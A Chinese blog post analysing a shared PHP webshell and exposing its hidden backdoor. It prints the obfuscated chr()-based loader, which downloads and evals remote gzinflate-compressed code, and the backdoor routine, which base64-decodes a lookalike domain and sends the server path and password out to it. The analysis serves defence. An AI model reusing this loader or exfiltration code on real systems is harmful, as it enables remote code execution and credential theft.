一次对php大马的后门的简单分析

有人分享了一个php大马(说是过waf),八成有后门,简单分析了一次

$password='Shiqi';//登录密码(支持菜刀)

//----------功能程序------------------//

$c="chr";

session_start();

if(empty($_SESSION['PhpCode'])){

$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);

$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);

$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);

$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);

$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);

$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);

$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);

$get=chr(102).chr(105).chr(108).chr(101).chr(95);

$get.=chr(103).chr(101).chr(116).chr(95).chr(99);

$get.=chr(111).chr(110).chr(116).chr(101).chr(110);

$get.=chr(116).chr(115);

$_SESSION['PhpCode']=$get($url);}

$un=$c(103).$c(122).$c(105).$c(110);

$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));

@eval($un($_SESSION['PhpCode']));

?>

一共有三个变量,$url、$get、$un,首先对着几个变量ascii转成字符串,看看是什么,用echo输出即可。

就是个简单的基于base64加gzinflate加密

还原一下:

$password='Shiqi';//登录密码(支持菜刀)

//----------功能程序------------------//

session_start();

if(empty($_SESSION['PhpCode'])){

$url = "http://i.niupic.com/images/2017/05/21/v1QR1M.gif";

$get = "file_get_contents";

$_SESSION['PhpCode']=$get($url);}

$un = "gzinflate";

@eval($un($_SESSION['PhpCode']));

?>

现在马子的路数很清楚了 通过远程下载主力代码

到这儿我们还是没发现后门,通过wget下载v1QR1M.gif改后缀txt乱码(gzinflate压缩编码本该乱码)

后门部分:

if(isset($_GET['login'])=='geturl'){

@set_time_limit(10);

$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];

$serverp = envlpass;

$copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=');

$url=$copyurl.$serveru.'&pass='.$serverp;

$url=urldecode($url);

GetHtml($url);

}

function geturl(){

@set_time_limit(10);

$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];

$serverp = envlpass;

$copyurl = base64_decode('');

$url=$copyurl.$serveru.'&p='.$serverp;

$url=urldecode($url);

GetHtml($url);

}

在1416行

SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=通过解码得出后门地址HTTP://WWW.FACEB0OK.CC/error.php?name=

posted @ 2019-05-22 17:42 卿先生 阅读(...) 评论(...) 编辑 收藏

php图片大马加后门,一次对php大马的后门的简单分析相关推荐

  1. iTextSharp PDF .NET 设置图片大小为A4尺寸

    Dim img As iTextSharp.text.Image = iTextSharp.text.Image.GetInstance(PictureBox1.Image, ImageFormat. ...

  2. 轮播图中间图片大,两边图片小

    简单的轮播图效果中间大图,两边小图,旋转木马平滑轮播效果 中间图片大,两边图片小的效果 效果图 <!DOCTYPE html> <html><head><me ...

  3. 微信推出图片大爆炸功能;苹果自研 5G 芯片或已失败;微软解决导致 Edge 停止响应的 bug|极客头条...

    「极客头条」-- 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧. 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews ...

  4. 微信推出图片大爆炸功能;苹果自研 5G 芯片或已失败;微软解决导致 Edge 停止响应的 bug|极客头条

    「极客头条」-- 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧. 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews ...

  5. 网站管理员总是嫌弃我的图片大,怎么提供适合网页WEB的尺寸图片?

    网站管理员总是嫌弃我的图片大,怎么提供适合网页WEB的尺寸图片?这有一招教你处理 首先你用Photoshop打开任意一张图片,不管它多大,您首先先调整他的尺寸大小,单位px,让宽度保持和你网页最大显示 ...

  6. Android文件夹占用空间分析,关于Android中图片大小、内存占用与drawable文件夹关系的研究与分析...

    从上一篇文章<Android屏幕适配全攻略>写完之后,经常会有朋友问我这个问题:"能不能一个App只提供一套切图适应所有的分辨率呢?"我觉得有必要写一篇文章来研究一下这 ...

  7. python分割文件为小文件_Python实现将一个大文件按段落分隔为多个小文件的简单操作方法...

    本文实例讲述了Python实现将一个大文件按段落分隔为多个小文件的简单操作方法.分享给大家供大家参考,具体如下: 今天帮同学处理一点语料.语料文件有点大,并且是以连续两个换行符作为段落标志,他想把它按 ...

  8. JPEG图片格式简单分析

    JPEG文件格式简单分析 作者:小爽 摘要: 这篇文章大体上介绍了JPEG文件的结构信息以及它的压缩算法和编码方式.使读者能够对JPEG文件格式有大体上的了解.为读者进一步进行学习JPEG文件压缩做好 ...

  9. HTML期末大作业: 学生个人网页设计作品 学生个人网页模板 简单个人主页成品 个人网页制作 HTML学生个人网站作业设计代做...

    1.临近期末, 你还在为HTML网页设计结课作业,老师的作业要求感到头大?HTML网页作业无从下手? 网页要求的总数量太多? 2.没有合适的模板?等等一系列问题.你想要解决的问题,在这篇博文中基本都能 ...

  10. HTML期末大作业: 学生个人网页设计作品 学生个人网页模板 简单个人主页成品 个人网页制作 HTML学生个人网站作业设计代做

    HTML期末大作业: 学生个人网页设计作品 学生个人网页模板 简单个人主页成品 个人网页制作 HTML学生个人网站作业设计代做 1.临近期末, 你还在为HTML网页设计结课作业,老师的作业要求感到头大 ...

最新文章

  1. 【转载】深度学习数学基础(二)~随机梯度下降(Stochastic Gradient Descent, SGD)
  2. 深度学习和目标检测系列教程 10-300:通过torch训练第一个Faster-RCNN模型
  3. c++ char*初始化_C开发实战-深入理解指针
  4. JAVA.SQL.SQLNONTRANSIENTCONNECTIONEXCEPTION: COULD NOT CREATE CONNECTION TO DATABASE SERVER. ATTEMPT
  5. glide 加载webp_如何使您的网站通过WebP图像快速加载闪电
  6. [转]wince中解析reg和bib文件的不同之处
  7. 分布式监控系统开发【day38】:报警阈值程序逻辑解析(三)
  8. 黑鲨怎么修改服务器,黑鲨研习win7系统DNS服务器更换的还原教程
  9. Java8 HashMap之tableSizeFor
  10. 微软披露三个 0day 漏洞 分别影响 Word、IE 和 Office
  11. react在线编辑器
  12. Data + AI Summit 2022 PPT 下载
  13. 在Excel表格里面一点就出现“√”符号选项的方法
  14. 使用微信开发工具开发微信小程序(二)——协同工作、发布与事件绑定
  15. Android流量统计分析
  16. 一元二次方程求根计算机的代码,一元二次方程求根Java源程序代码.doc
  17. 程序员常见10大口头禅
  18. 基于FPGA的电子计算器设计(下)
  19. 4-八爪鱼boss直聘信息采集
  20. 笔记本电脑怎么写日记

热门文章

  1. 百兆网络变压器:H81601S产品规格及建议配置的芯片型号
  2. php 做圆形头像,php制作圆形用户头像方法
  3. JAVA实现商品信息管理系统
  4. mysql自定义函数for循环_mysql自定义函数
  5. 【转载】Junit4详解一:Junit总体介绍
  6. 《Spring实战(第四版)》pdf
  7. WeX5和BeX5的区别
  8. 谈谈象棋的基本功《二》复盘篇
  9. 小米手机 更换app图标失败的解决方法
  10. Redis实用教程-----------菜鸟快速入门